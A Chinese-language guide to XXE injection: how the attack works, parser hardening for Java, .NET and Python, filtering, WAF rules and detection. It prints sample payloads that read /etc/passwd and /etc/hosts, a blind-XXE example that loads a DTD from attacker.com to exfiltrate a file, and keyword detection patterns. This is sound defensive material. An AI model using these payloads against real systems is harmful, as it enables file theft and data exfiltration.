XML外部實體注入(XXE)是一種嚴重的安全漏洞,攻擊者利用XML解析器處理外部實體的功能來讀取服務器內部文件、執行遠程請求(SSRF)、掃描內網端口或發起拒絕服務攻擊。以下是詳細解釋和修復方案:
XXE 攻擊原理
外部實體聲明
XML允許定義實體(變量),實體可引用外部資源:xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
實體注入
攻擊者將惡意實體注入XML輸入:xml
<data>&xxe;</data>
解析器會將?
&xxe;
?替換為?/etc/passwd
?文件內容。攻擊類型
讀取本地文件(
file://
)發起HTTP請求(
http://
)→ SSRF拒絕服務(Billion Laughs 攻擊)
端口掃描(結合SSRF)
修復方案
1.?禁用外部實體處理(根本方案)
Java (SAX/DOM)
java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
.NET (XmlReader)
csharp
var settings = new XmlReaderSettings {DtdProcessing = DtdProcessing.Prohibit,XmlResolver = null // 禁用解析器 };
Python (lxml)
python
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True)
2.?使用安全的XML庫
優先選擇默認禁用外部實體的庫:
Java:?
OWASP Java Encoder
、jackson-dataformat-xml
Python:?
defusedxml
(替代標準庫)python
from defusedxml.ElementTree import parse parse(xml_file)
3.?輸入驗證與過濾
過濾用戶輸入的?
<!DOCTYPE>
?和?<!ENTITY>
?聲明使用正則表達式攔截敏感關鍵字(臨時緩解):
regex
<!ENTITY.*?SYSTEM|file:|http:
4.?輸出編碼
避免直接輸出XML解析結果,使用HTML編碼:
java
String safeOutput = Encode.forHtmlContent(rawXMLOutput);
5.?服務器層防御
WAF規則:攔截包含?
ENTITY
、SYSTEM
?等關鍵詞的請求文件權限:限制應用賬戶對系統文件的訪問權限
XXE 檢測方法
手動測試
提交測試Payload:xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hosts"> ]> <data>&xxe;</data>
自動化工具
OWASP ZAP、Burp Suite Professional(主動掃描)
XXEinjector(自動化利用工具)
額外注意事項
依賴庫風險:即使代碼安全,底層庫(如Log4j 1.x)可能引入XXE
非文件協議攻擊:防范?
php://filter
、gopher://
?等協議盲XXE:通過DNS查詢或HTTP請求外帶數據(需配置外部DTD)
xml
<!ENTITY % payload SYSTEM "file:///secret"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;
修復后驗證
使用單元測試覆蓋XXE攻擊場景
定期進行安全掃描(SAST/DAST)
滲透測試:嘗試讀取?
/etc/passwd
?或觸發DNS查詢
關鍵原則:始終禁用DTD和外部實體解析。大多數現代XML解析器提供了明確的開關選項,啟用安全配置是防御XXE的核心。